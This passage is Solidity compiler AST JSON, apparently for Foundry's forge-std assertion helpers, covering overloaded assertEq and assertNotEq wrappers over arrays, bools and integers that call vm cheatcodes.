ng":"string memory[] memory"}},{"id":865,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":858,"src":"6333:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"},{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}],"expression":{"id":861,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"6315:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":863,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6318:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13883,"src":"6315:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$returns$__$","typeString":"function (string memory[] memory,string memory[] memory) pure external"}},"id":866,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6315:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":867,"nodeType":"ExpressionStatement","src":"6315:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"6229:8:1","parameters":{"id":859,"nodeType":"ParameterList","parameters":[{"constant":false,"id":855,"mutability":"mutable","name":"left","nameLocation":"6254:4:1","nodeType":"VariableDeclaration","scope":869,"src":"6238:20:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":853,"name":"string","nodeType":"ElementaryTypeName","src":"6238:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":854,"nodeType":"ArrayTypeName","src":"6238:8:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":858,"mutability":"mutable","name":"right","nameLocation":"6276:5:1","nodeType":"VariableDeclaration","scope":869,"src":"6260:21:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":856,"name":"string","nodeType":"ElementaryTypeName","src":"6260:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":857,"nodeType":"ArrayTypeName","src":"6260:8:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"6237:45:1"},"returnParameters":{"id":860,"nodeType":"ParameterList","parameters":[],"src":"6305:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":889,"nodeType":"FunctionDefinition","src":"6352:150:1","nodes":[],"body":{"id":888,"nodeType":"Block","src":"6456:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":883,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":872,"src":"6478:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},{"id":884,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":875,"src":"6484:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},{"id":885,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":877,"src":"6491:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"},{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":880,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"6466:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":882,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6469:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13895,"src":"6466:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory[] memory,string memory[] memory,string memory) pure external"}},"id":886,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6466:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":887,"nodeType":"ExpressionStatement","src":"6466:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"6361:8:1","parameters":{"id":878,"nodeType":"ParameterList","parameters":[{"constant":false,"id":872,"mutability":"mutable","name":"left","nameLocation":"6386:4:1","nodeType":"VariableDeclaration","scope":889,"src":"6370:20:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":870,"name":"string","nodeType":"ElementaryTypeName","src":"6370:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":871,"nodeType":"ArrayTypeName","src":"6370:8:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":875,"mutability":"mutable","name":"right","nameLocation":"6408:5:1","nodeType":"VariableDeclaration","scope":889,"src":"6392:21:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":873,"name":"string","nodeType":"ElementaryTypeName","src":"6392:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":874,"nodeType":"ArrayTypeName","src":"6392:8:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":877,"mutability":"mutable","name":"err","nameLocation":"6429:3:1","nodeType":"VariableDeclaration","scope":889,"src":"6415:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":876,"name":"string","nodeType":"ElementaryTypeName","src":"6415:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6369:64:1"},"returnParameters":{"id":879,"nodeType":"ParameterList","parameters":[],"src":"6456:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":906,"nodeType":"FunctionDefinition","src":"6508:124:1","nodes":[],"body":{"id":905,"nodeType":"Block","src":"6591:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":901,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":892,"src":"6613:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},{"id":902,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":895,"src":"6619:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"},{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}],"expression":{"id":898,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"6601:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":900,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6604:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13905,"src":"6601:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$returns$__$","typeString":"function (bytes memory[] memory,bytes memory[] memory) pure external"}},"id":903,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6601:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":904,"nodeType":"ExpressionStatement","src":"6601:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"6517:8:1","parameters":{"id":896,"nodeType":"ParameterList","parameters":[{"constant":false,"id":892,"mutability":"mutable","name":"left","nameLocation":"6541:4:1","nodeType":"VariableDeclaration","scope":906,"src":"6526:19:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":890,"name":"bytes","nodeType":"ElementaryTypeName","src":"6526:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":891,"nodeType":"ArrayTypeName","src":"6526:7:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":895,"mutability":"mutable","name":"right","nameLocation":"6562:5:1","nodeType":"VariableDeclaration","scope":906,"src":"6547:20:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":893,"name":"bytes","nodeType":"ElementaryTypeName","src":"6547:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":894,"nodeType":"ArrayTypeName","src":"6547:7:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"6525:43:1"},"returnParameters":{"id":897,"nodeType":"ParameterList","parameters":[],"src":"6591:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":926,"nodeType":"FunctionDefinition","src":"6638:148:1","nodes":[],"body":{"id":925,"nodeType":"Block","src":"6740:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":920,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":909,"src":"6762:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},{"id":921,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":912,"src":"6768:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},{"id":922,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":914,"src":"6775:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"},{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":917,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"6750:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":919,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6753:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13917,"src":"6750:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes memory[] memory,bytes memory[] memory,string memory) pure external"}},"id":923,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6750:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":924,"nodeType":"ExpressionStatement","src":"6750:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"6647:8:1","parameters":{"id":915,"nodeType":"ParameterList","parameters":[{"constant":false,"id":909,"mutability":"mutable","name":"left","nameLocation":"6671:4:1","nodeType":"VariableDeclaration","scope":926,"src":"6656:19:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":907,"name":"bytes","nodeType":"ElementaryTypeName","src":"6656:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":908,"nodeType":"ArrayTypeName","src":"6656:7:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":912,"mutability":"mutable","name":"right","nameLocation":"6692:5:1","nodeType":"VariableDeclaration","scope":926,"src":"6677:20:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":910,"name":"bytes","nodeType":"ElementaryTypeName","src":"6677:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":911,"nodeType":"ArrayTypeName","src":"6677:7:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":914,"mutability":"mutable","name":"err","nameLocation":"6713:3:1","nodeType":"VariableDeclaration","scope":926,"src":"6699:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":913,"name":"string","nodeType":"ElementaryTypeName","src":"6699:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6655:62:1"},"returnParameters":{"id":916,"nodeType":"ParameterList","parameters":[],"src":"6740:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":939,"nodeType":"FunctionDefinition","src":"6813:111:1","nodes":[],"body":{"id":938,"nodeType":"Block","src":"6886:38:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":934,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":928,"src":"6905:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":935,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":930,"src":"6911:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":933,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"6896:8:1","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":936,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6896:21:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":937,"nodeType":"ExpressionStatement","src":"6896:21:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEqUint","nameLocation":"6822:12:1","parameters":{"id":931,"nodeType":"ParameterList","parameters":[{"constant":false,"id":928,"mutability":"mutable","name":"left","nameLocation":"6843:4:1","nodeType":"VariableDeclaration","scope":939,"src":"6835:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":927,"name":"uint256","nodeType":"ElementaryTypeName","src":"6835:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":930,"mutability":"mutable","name":"right","nameLocation":"6857:5:1","nodeType":"VariableDeclaration","scope":939,"src":"6849:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":929,"name":"uint256","nodeType":"ElementaryTypeName","src":"6849:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6834:29:1"},"returnParameters":{"id":932,"nodeType":"ParameterList","parameters":[],"src":"6886:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":954,"nodeType":"FunctionDefinition","src":"6930:110:1","nodes":[],"body":{"id":953,"nodeType":"Block","src":"6996:44:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":949,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":941,"src":"7021:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":950,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":943,"src":"7027:5:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":946,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"7006:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":948,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7009:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14367,"src":"7006:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$_t_bool_$returns$__$","typeString":"function (bool,bool) pure external"}},"id":951,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7006:27:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":952,"nodeType":"ExpressionStatement","src":"7006:27:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"6939:11:1","parameters":{"id":944,"nodeType":"ParameterList","parameters":[{"constant":false,"id":941,"mutability":"mutable","name":"left","nameLocation":"6956:4:1","nodeType":"VariableDeclaration","scope":954,"src":"6951:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":940,"name":"bool","nodeType":"ElementaryTypeName","src":"6951:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":943,"mutability":"mutable","name":"right","nameLocation":"6967:5:1","nodeType":"VariableDeclaration","scope":954,"src":"6962:10:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":942,"name":"bool","nodeType":"ElementaryTypeName","src":"6962:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"6950:23:1"},"returnParameters":{"id":945,"nodeType":"ParameterList","parameters":[],"src":"6996:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":972,"nodeType":"FunctionDefinition","src":"7046:134:1","nodes":[],"body":{"id":971,"nodeType":"Block","src":"7131:49:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":966,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":956,"src":"7156:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":967,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":958,"src":"7162:5:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":968,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":960,"src":"7169:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":963,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"7141:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":965,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7144:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14377,"src":"7141:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,bool,string memory) pure external"}},"id":969,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7141:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":970,"nodeType":"ExpressionStatement","src":"7141:32:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"7055:11:1","parameters":{"id":961,"nodeType":"ParameterList","parameters":[{"constant":false,"id":956,"mutability":"mutable","name":"left","nameLocation":"7072:4:1","nodeType":"VariableDeclaration","scope":972,"src":"7067:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":955,"name":"bool","nodeType":"ElementaryTypeName","src":"7067:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":958,"mutability":"mutable","name":"right","nameLocation":"7083:5:1","nodeType":"VariableDeclaration","scope":972,"src":"7078:10:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":957,"name":"bool","nodeType":"ElementaryTypeName","src":"7078:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":960,"mutability":"mutable","name":"err","nameLocation":"7104:3:1","nodeType":"VariableDeclaration","scope":972,"src":"7090:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":959,"name":"string","nodeType":"ElementaryTypeName","src":"7090:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7066:42:1"},"returnParameters":{"id":962,"nodeType":"ParameterList","parameters":[],"src":"7131:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":987,"nodeType":"FunctionDefinition","src":"7186:116:1","nodes":[],"body":{"id":986,"nodeType":"Block","src":"7258:44:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":982,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":974,"src":"7283:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":983,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":976,"src":"7289:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":979,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"7268:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":981,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7271:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14487,"src":"7268:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure external"}},"id":984,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7268:27:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":985,"nodeType":"ExpressionStatement","src":"7268:27:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"7195:11:1","parameters":{"id":977,"nodeType":"ParameterList","parameters":[{"constant":false,"id":974,"mutability":"mutable","name":"left","nameLocation":"7215:4:1","nodeType":"VariableDeclaration","scope":987,"src":"7207:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":973,"name":"uint256","nodeType":"ElementaryTypeName","src":"7207:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":976,"mutability":"mutable","name":"right","nameLocation":"7229:5:1","nodeType":"VariableDeclaration","scope":987,"src":"7221:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":975,"name":"uint256","nodeType":"ElementaryTypeName","src":"7221:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7206:29:1"},"returnParameters":{"id":978,"nodeType":"ParameterList","parameters":[],"src":"7258:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1005,"nodeType":"FunctionDefinition","src":"7308:140:1","nodes":[],"body":{"id":1004,"nodeType":"Block","src":"7399:49:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":999,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":989,"src":"7424:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1000,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":991,"src":"7430:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1001,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":993,"src":"7437:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":996,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"7409:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":998,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7412:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14585,"src":"7409:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,string memory) pure external"}},"id":1002,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7409:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1003,"nodeType":"ExpressionStatement","src":"7409:32:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"7317:11:1","parameters":{"id":994,"nodeType":"ParameterList","parameters":[{"constant":false,"id":989,"mutability":"mutable","name":"left","nameLocation":"7337:4:1","nodeType":"VariableDeclaration","scope":1005,"src":"7329:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":988,"name":"uint256","nodeType":"ElementaryTypeName","src":"7329:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":991,"mutability":"mutable","name":"right","nameLocation":"7351:5:1","nodeType":"VariableDeclaration","scope":1005,"src":"7343:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":990,"name":"uint256","nodeType":"ElementaryTypeName","src":"7343:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility